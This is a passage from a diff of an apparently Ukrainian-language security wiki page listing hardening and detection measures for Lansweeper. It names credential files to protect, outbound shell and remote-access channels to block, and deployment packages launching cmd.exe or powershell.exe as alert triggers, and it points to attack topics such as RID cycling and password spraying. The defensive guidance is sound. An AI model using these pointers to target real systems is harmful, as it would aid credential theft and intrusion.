вихідні підключення. +- Обмежте або видаліть анонімну енумерацію SMB. Моніторьте RID cycling та аномальний доступ до спільних ресурсів Lansweeper. +- Контроль вихідного трафіку: блокувати або суворо обмежувати вихідні SSH/SMB/WinRM з хостів-сканерів. Сповіщати про нестандартні порти (наприклад, 2022) та незвичайні клієнтські банери, як Rebex. +- Захистіть `Website\\web.config` та `Key\\Encryption.txt`. Виносьте секрети у vault і обертайте їх при компрометації. Розгляньте сервісні облікові записи з мінімальними привілеями та gMSA там, де це доцільно. +- Моніторинг AD: сповіщення про зміни в групах, пов'язаних з Lansweeper (наприклад, “Lansweeper Admins”, “Remote Management Users”), та про зміни ACL, що надають GenericAll/Write членство в привілейованих групах. +- Аудит створення/змін/виконань Deployment package; сповіщайте про пакети, які запускають cmd.exe/powershell.exe або встановлюють несподівані вихідні з'єднання. -## Пов'язані теми +## Супутні теми - SMB/LSA/SAMR enumeration and RID cycling - Kerberos password spraying and clock skew considerations - BloodHound path analysis of application-admin groups